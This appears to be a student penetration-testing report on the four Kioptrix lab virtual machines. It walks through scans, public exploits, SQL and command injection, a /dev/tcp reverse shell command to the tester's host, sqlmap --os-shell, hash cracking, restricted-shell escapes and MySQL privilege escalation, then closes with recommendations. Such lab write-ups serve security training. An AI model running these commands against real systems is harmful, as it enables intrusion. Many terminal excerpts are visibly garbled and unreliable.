Systems and Enterprise Security Pentesting Report

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Abstract. The present work is based on the Kioptrix Project [2]. The aim of this work is to analyze the 4 Kioptrix's Virtual Machines, find the vulnerabilities and state where to work to enhance the security. For each of the Kioptrix's Virtual Machine it is possible, with increasing difficulty, to obtain a root access. The Kioptrix Project is present in the OWASP list of vulnerable machine [1]. I uploaded the Project Working Directory in a public git repository on BitBucket[4] and can be found at the following link:

https://Bluto92@bitbucket.org/Bluto92/ses.git

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1 Summary Of Results

After having identified the targets' IPs, I started a separate attack for each of them. I found that they are all vulnerable, and it was always possible for me to gain a remote root access.

1.1 Kioptrix 1

The Kioptrix 1 machine exposes known-vulnerable versions of Apache HTTP Server and Samba. After an analysis of the target conducted using mmap[6] and enum4linux it was possible to leverage on some exploits available in the database of ExploitDB [5] to gain root access.

1.2 Kioptrix 2

The second target is running a vulnerable web site where it is possible to perform SQL Injection and Command Injection, which allow me to open a reverse shell. It is also running a Linux kernel for which there is an exploit that allows to perform Privilege Escalation, i.e. gain root access from local access without knowing the administrator's password.

1.3 Kioptrix 3

The Kioptrix 3 machine presents an Apache HTTP and an OpenSSH Servers, which do not suffer from any known vulnerability. I started to analyze the exposed Web Site and found out that it relies on Gallarific and LotusCMS [8], and that both are vulnerable. Leveraging on these vulnerabilities, I was able to obtain hashed passwords of registered users and to read some configuration files of the system, like the /etc/passwd one. Comparing the users in the system and in the Gallarific's database, I noticed that there are some usernames in common. The passwords were hashed in raw-md5 and it was simple to conduct a successful dictionary attack, using pre-built dictionaries. I used these username/password pairs to login through the ssh service. From this moment, it was simple to gain root access simply editing the /etc/sudoers file using an editor executable as root.

1.4 Kioptrix 4

The forth target exposes a web site that is vulnerable to SQL Injection. I used this vulnerability to obtain a shell as local user and a lot of precious information about the environment. Furthermore, the MySQL service is running as root and the root's login password for MySQL is the empty password. These misconfigurations allow a local user to use the MySQL service to perform Privilege Escalation.

2 Targets Discovery

Using first net discover and subsequently nmap I found that the target machines have IPs in the range $10.0.2.6\mbox{-}9.$ Respectively:

- $-\ 10.0.2.6$: Kioptrix 1
- $-\,$ 10.0.2.7: Kioptrix 2
- $-\,$ 10.0.2.8: Kioptrix 3
- $-\,$ 10.0.2.9: Kioptrix 4

3 Kioptrix 1: Attack Narrative

3.1 Information Gathering

```
# Nmap 7.25BETA2 scan initiated Sun Oct 8 21:21:49 2017 as: nmap -sV -0 --system-dns -o nmap_scan 10.0.2.6
Nmap scan report for 10.0.2.6
Nmap scan report for 10.0.2.6
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/ttps Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open ssl/ttps Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open sstatus 1 (RPC #100024)
MAC Address: 08:00:27:9F:E3:35 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.#
# Nmap done at Sun Oct 8 21:21:57 2017 -- 1 IP address (1 host up) scanned in 8.23 seconds
```

From the nmap's report we know that the running OS is based on RedHat[3] and on a Linux kernel 2.4.9 - 2.4.18. We also know that it exposes an Apache HTTP Server and that a Samba service is active.

3.2 Apache and mod_ssl

As said before an Apache HTTP Server is running. The nikto's report says that this server may allow remote code execution, due to the weak mod_ssl module.

```
White V2.10 is 0.0.2.6

Farget IP: 10.0.2.6

Farget Port: 80

Server: Apache/13.20 (Unix) (Red-Har/Linux) mod ssl/2.8.4 OpenSSL/0.9.0b

Server: Apache/13.20 (Apache) (Apache
```

I looked for an exploit in the exploitdb [5] that leverages on this vulnerability.

```
rootekeli:-/Documents/Kioptrix/Kioptrix/Aood_ssl# Cat ssploit

Exploit Title

| Path | (/usr/share/exploitdb/platforms/)

Apache mod_ssl < 2.8.7 OpenFuck.c' Remote Exploit

Apache mod_ssl < 2.8.7 OpenFuck.c' Remote Exploit

unit/remote/764.c

unit/remote/764.c
```

I used this exploit using the information gathered till now (section 3.1) and I successfully obtained a root shell.

```
rootehali-/Documents/Kioptrix/Kioptrix1/med_ssl# ./pe 0x6b 10.0.2.6 -c 40

"OpenFuck v3.0.32-root priv0 by SPABAM based on opensal-too-open "
"by SPABAM with code of Subbam - LSD-pl - SolarEclipse - CORE "
##Anckarema incr.bramet.org "
"TMX Xanthic USG #SilverLords #EloodBR #isotk #Highsecure #uname "
#ZDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #anchareds #Hic Echimem "
#JDM dealir_im #mittW *coder #root #mittwise #JDM #mittwi
```

3.3 Samba

Using the tool enum4linux I could state that the system is running the version 2.2.1a of Samba, so I looked for some known exploits for this Samba's version.

I then tried all the known exploits and found only one that works, obtaining a root shell.

```
root@kali:~/Documents/Kioptrix/Kioptrix1/smb# ./smb_ex -b 0 -p 139 10.0.2.6
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
**** JE MOET JE MUIL HOUWE
Linux kioptrix.levell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)</pre>
```

4 Kioptrix 2: Attack Narrative


4.1 Information Gathering

Using the tools nmap and nikto, I analyzed the web services that are running, which do not seem to be vulnerable.

```
# Nmap 7.25BETA2 scan initiated Fri Oct 6 16:35:56 2017 as: nmap -sV -o nmap_scan 10.0.2.7
Nmap scan report for 10.0.2.7
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open imysql MySQL (unauthorized)
MAC Address: 08:00:27:D2:AF:3A (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 6 16:36:22 2017 -- 1 IP address (1 host up) scanned in 25.73 seconds
```

4.2 Apache, SQL Injection and Command Injection

I visited the web site provided by the server and the main page presents a login form. I tampered the data and used sqlmap to check for SQLInjection vulnerabilities, which I did find.



I thus used the sqlmap to extract some information. However, I could not open a reverse shell in this way.

```
Parameter: Dave (FORT)
Type: boolcan-based blind
Title: OR boolcan-based blind
Title: OR boolcan-based blind
Title: OR boolcan-based blind
Title: OR boolcan-based blind
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Pavload: uname-aSpow-as AND 7212-BENCHMARK(5000000,MOS(0x474f5444))-- dxfySbtnLogin-Login
Parameter: Damee (FORT)
Type: AND/OR time-based blind
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Pavload: uname-aSpow-as AND 7212-BENCHMARK(5000000,MOS(0x474f5444))-- dxfySbtnLogin-Login
Title: OR boolcan-based blind
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Pavload: uname-a*091' OR 922-9522-- g0ys5powsabbtnLogin-Login
Title: MyGOL = S.0.11 AND Time-based blind
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Pavload: uname-a* AND 7272-BENCHMARK(500000,MOS(0x46c5550e))-- 2L*MOSpow-aSbtnLogin-Login
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Type: AND/OR Time-based blind
Title: MyGOL = S.0.11 AND Time-based blind (heavy query)
Type: MGOT, parameter; pav, type: Single quoted string (default)
[1] place: DOST, parameter; pav, type: Single quoted string (default)
[2] place: DOST, parameter; pav, type: Single quoted string (default)
[3] place: DOST, parameter; pav, type: Single quoted string (default)
[4] place: DOST, parameter; pav, type: Single quoted string (default)
[5] place: DOST, parameter; pav, type: Single quoted string (default)
[6] place: DOST, parameter; uname, type: Single quoted string (default)
[7] place: DOST, parameter; uname, type: Single quoted string (default)
[8] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted string (default)
[9] place: DOST, parameter; uname, type: Single quoted
```

I leveraged on the discovered SQLInjection vulnerability to bypass the login and I proceeded to a new page where I am required to input an address in order

to check if it is online. I found that this form does not properly sanitize the inputs and I was able to perform Command Injection. I leveraged on this vulnerability to open a reverse shell, injecting the following bash command and catching the produced request using the tool <code>nc</code>:

```
0<&196; exec 196<>/dev/tcp/10.0.2.5/10009; sh <&196 >&196 2>&196
```

In this way I was able to open a reverse shell as user *apache* and to get other information about the system, such as the Linux Kernel version currently running. I looked for some known privilege escalation exploits for the running Linux Kernel, and I found one working.

```
| Itseling on Imany | 1888 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1889 | 1
```

5 Kioptrix 3: Attack Narrative

5.1 Information Gathering

From the nmap and nikto scans, it was not possible to identify any known vulnerability. However, a very significant information we can extract from the nikto's report is that the service phpMyAdmin is reachable from outside.

```
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-10-09 21:12 CEST
Nmap scan report for kioptrix3.com (10.0.2.8)
Host is up (0.00087s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7pl Debian Bubuntul.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 08:00:27:70:F4:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds
```

```
Nakto v2.1.6

**Target IP: 10.0.2.8

**Target Noctrome: 10.0.2.8

**Start Time: 2017-10-09 21:09:44 (GMT2)

**Server: Apache/2.2.8 (Ubuntu) PMF/S.2.4-2ubuntuS.6 with Suhosin-Patch

**The ANSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

**The X-KSS-Protection header is not defined. This header can hint to the user agent to content of the site in a different fashion to the MIME type

**The X-MSS-Protection header is not defined. This header can hint to the user agent to content of the site in a different fashion to the MIME type

**The X-MSS-Protection header is not defined. This header can hint to the user agent to render the content of the site in a different fashion to the MIME type

**The X-MSS-Protection found users. Call to force decks all possible days

**Server leaks inodes via Flags, header found with file /favicon.i.oc, inode: 631780, size: 23126, minner: Fiju 5 21:22:00 2089

**Server leaks inodes via Flags, header found with file /favicon.i.oc, inode: 631780, size: 23126, minner: Fiju 5 21:22:00 2089

**Server leaks inodes via Flags, header found with file /favicon.i.oc, inode: 631780, size: 23126, size: 23126, minner: Fiju 5 21:22:00 2089


**Server leaks inodes via Flags, header found with file /favicon.i.oc, inode: 631780, size: 23126, size: 23126, size: 23126, minner: Fiju 5 21:22:00 2089

**Server leaks inodes via Flags, header found with file /favicon.i.oc, inode: 631780, size: 23126, size: 23126
```

5.2 Web Site

So I looked at the website exposed through the Apache HTTP Server and tried to leverage on it. I checked for the possibility to inject some SQL code in the forms of the website (using sqlmap) without any success.

Gallarific I started looking at the html code of the pages and found out, in the source code of the gallery page, a comment about an admin page and I visited it. Apparently, the web site is built on Gallarific. I tried to inject SQL code, using sqlmap, but the login form is secure. I looked in the ExploitDB's database [5] for some known vulnerabilities of Gallarific and found one which permits me to display the Gallarific's admin's password.



However, even if I am now able to login as admin in the Gallarific's backend and I can modify some website's contents, this does not help me to gain a root shell.

LotusCMS, phpMyAdmin, OpenSSH In the main Login page we can see that the form is "proudly developed by: LotusCMS"[8]. I used this information to look for any known vulnerabilities. I found out the LotusCMS-Exploit by Hood3dRob1n [9], which implements a shell script for the eval() vulnerability exploit that can also be found in the *ExploitDB*'s database[5]. Using this exploit I was able to open a reverse shell as "www-data" user.

```
Path found, new to check for Vuln...

*/Antal-MododSRoDin

Regar Found, sixt is vulnerable to PMP Code Injection!

About to try and inject reverse shell...

About to try and inject reverse shell...

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```

This user has the ownership on the directory where LotusCMS is installed, so I was able to read the configuration files and to extract the user/password pair that is used for accessing the database (written in the file gallery/gconfig.php).

```
rootedal:/media/=f_locuments/Kioptrix/Xioptrix3/TotusCRS/LotusCRS-Exploit-master# nc -lvp 4009
listering on lany 4009 ...
connect to [10.02.5] from kioptrix3.com [10.0.2.0] 50555

connect to [10.02.5] from kioptrix3.com [10.0.2.0] 50555

proper connection of the control of the control
```

From the nikto scan I know that the phpMyAdmin page is reachable from outside and I used the stolen credentials to log in. I was able to read the following other usernames and hashed passwords.

-SQL query:-													
SELECT * FROM `dev_ac WHERE 1 LIMIT 0 , 30													
									Profiling [dit] [Explain S	QL][Cre	eate PHP Co	ode] [Refresh]
Show: 30 row(s) starting from record # 0													
SELECT * FROM `gallarifi WHERE 1 LIMIT 0 , 30	c_users`												
Profiling [Edit] [Explain SQL] [Create PHP Code] [Refresh]													
Show: 30 row(s) starting from record # 0 in horizontal v mode and repeat headers after 100 cells													
←T→	userio	usernar	ne password	usertype	firstname	lastname	email	datejoined	website	issuperuser	photo	joincode	
□ / X	1	Ladmin	n0t7t1k4	superuser	Super	User		1302628616		1			

From the reverse shell that I was able to open before, I read the file /etc/passwd and noticed that the users *dreg* and *loneferret* exists both as system user and LotusCMS one. I was able to guess the cypher (MD5), and then the passwords through the following two dictionary attacks.

```
rootekali:/media/sf_Documents/Kioptrix/Kioptrix3/gallarific/users# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 --rules dreg Using default input encoding: UTF-8 |
Using default input encoding: UTF-8 |
Press 'q' or Ctrl-C to abort, almost any other key for status |
Mastir (dreg) |
Press 'q' or Ctrl-C to abort, almost any other key for status |
Using default input encoding: UTF-8 |
Using de
```

I used this credentials to login using ssh and resulted that I could login with both the accounts. Sharing the same password among multiple services is generically a bad practice; especially if one of this service has a weak protection (MD5 encryption).

With the account *dreg* it is not possible to use sudo. However, with the account *loneferret*, as specified in the file *CompanyPolicy.README* in the loneferret's home, it is possible to use the simple hexadecimal editor ht as administrator. I used this tool to modify the "/etc/sudoers" file and to allow me the use of the command sudo su. In this way I was able to gain root access.

```
Description (J. 2) and profession (J. 2).

Commerce (J. 2). 2.5 A Section (M. 2).

Commerce (J. 2). 3.5 A Section (M. 2).

Commerce (J. 2). 4.5 A Section (M. 2).

Com
```

6 Kioptrix 4: Attack Narrative

6.1 Information Gathering

```
Starting Heap 7.25ETA2 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.2.0 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.2.0 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.2.0 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.0 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.0 ( https://memp.org ) at 2017-10-07 23:06 CEST Heaps scan report for 10.0.0 ( https://memp.org/scan report for 10.0.0 ( https://mem
```

I could not find any known vulnerability for the exposed services. The nikto's scan did not report any remarkable information.

6.2 WebSite, sqlmap, MySQL

The exposed website presents, as first page, a login form. I used Firefox's Tamper Data tool to extract the information needed to use sqlmap. In this way I was able to run a reverse shell as the user www-data using the following command:

```
 sqlmap \ --url \ "http://10.0.2.9/checklogin.php" \ --data \ "myusername=a&mypassword=a&Submit=Login" \ -p \ "myusername, mypassword" \ --dbms \ mysql \ --os-shell
```

Through this shell I could obtain a lot of precious information, such as the precise Linux Kernel version and, most important for the attack, that MySQL is running with root privileges.

I could also read the php files that compose the web site obtaining the MySQL root's credentials, i.e. username *root* with empty password.

This is a very bad practice, because I can use this misconfiguration to run commands as root through the UDF (User-Defined Function) module. Indeed, in this scenario, I can use the MySQL function sys_exec to execute system commands as root. However, from the shell opened through sqlmap I was not

able to run any interactive program, hence I could not successfully use neither "sudo su" nor "mysql".

6.3 OpenSSH

I tried to leverage on the SSH service using the data previously collected. Using the shell opened with \mathtt{sqlmap} I was able to read the "/etc/passwd" file and I noticed that the shell associated with the user john is not the classic bash, but the kshell one. I used cat on the main executable of the kshell (in "/bin/kshell") and read that it is a python script that uses the lshell python package. I logged in as john and as expected I was able to run only some commands, i.e. I was in a restricted shell. After some research [10], I found that the restricted shells written in python usually are vulnerable to the following pieces of code:

```
os.system('/bin/bash')os.popen('/bin/sh').read()
```

The first PoC worked and allowed me to run in a Bash environment. At this point I was able to leverage on the MySQL misconfiguration I presented in section 6.2. More precisely, I read the "/etc/sudoers" file, and discovered that the last rows state that "Members of the admin group may gain root privileges". I thus used the MySQL's UDF functionalities to add the user john to the admin group, then used "sudo su" and logged in as root with john's password.

```
Boulded://media/s/= poseuments/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris/Kloptris
```

7 Recommendations

- Ensure strong passwords are used: some users' passwords were empty or
 default ones. In other cases, it was possible to successfully perform dictionary
 attacks on the users passwords. It is recommended to use complex and nondictionary based passwords.
- Ensure strong encryption algorithms are used: in some cases it was possible to retrieve hashed passwords and it was easy to guess them also because of the insecure encryption algorithm used (MD5). In some other cases, the passwords were stored in clear.
- Patch vulnerable software: many installed programs are found to be outdated or vulnerable. It is recommended to update or patch them.
- Vulnerable web sites: the presented web sites are all vulnerable to the simplest forms of attack, like SQL and Command Injections. It is recommended to correctly sanitize user inputs.
- Misconfigured Software: some software is running in an insecure way, as for example the MySQL service in the Kioptrix 4 target that is running as root.

8 Vulnerability List

8.1 Default or Weak Credentials

- **Details**: Various services and users' account have weak or default passwords.
- Risk: High
- Impact: Using a simple dictionary attack with pre-built dictionaries, it was
 possible to find the users' passwords. It was also possible to access some services by using the program default user-password pairs or the empty password.
- Mitigation Strategies: Ensure users adopt complex passwords.

8.2 Weak or Absent Password Encryption

- Details: Some web services store passwords without previous encryption or using a weak encryption algorithm, like MD5.
- **Risk**: High
- Impact: Using a simple dictionary attack with pre-built dictionaries, it was
 possible to find the users' passwords.
- Mitigation Strategies: Use a secure hash function, like SHA256, when encrypting the passwords.

8.3 Shared Password

- Details: Some users are registered on exposed web services with the same password used for the system's account. This action reduces the security of the system down to the security of the web service.
- Risk: High
- Impact: It was possible to login in the system using the SSH service and the user-password pairs obtained from the vulnerable web services.
- Mitigation Strategies: Use different passwords for the web services and the system.

8.4 Misconfigured Local Services

- **Details**: Some local services are run as root, while they should not.
- Risk: High
- Impact: It was possible to leverage on this misconfiguration to obtain a root shell.
- Mitigation Strategies: Configure in the correct way the local services creating proper users and groups for each service.

8.5 Outdated software

- Details: It was possible to find a lot of outdated and known vulnerable software.
- Risk: High
- Impact: It was possible to leverage on the outdated software to reach various goals, like steal system information, open reverse shells (local and root user) and perform privilege escalation.
- Mitigation Strategies: Update each software to the last vendor-supplied version.

8.6 Vulnerable Web Sites

- Details: All the found web sites exposed from the machines are found to be vulnerable.
- Risk: High
- Impact: The vulnerable web sites gave the possibility to obtain important information (like users and passwords and content of various system files) and to open reverse shells.
- Mitigation Strategies: Contact the developers and ask to correct the found web sites vulnerabilities, like the SQL Injections or Command Injections.

8.7 Default Web Services Files

- **Details**: It was possible to find the default directories of various web services.
- Risk: Low
- Impact: They were used to obtain more information about the environment, but nothing more than what was possible in other ways.
- Mitigation Strategies: Remove all default files from publicly accessible web servers.

9 Overall Risk Rating

The overall risk identified as a result of the penetration testing is **High**. It was possible to attack and get root access to each identified target.

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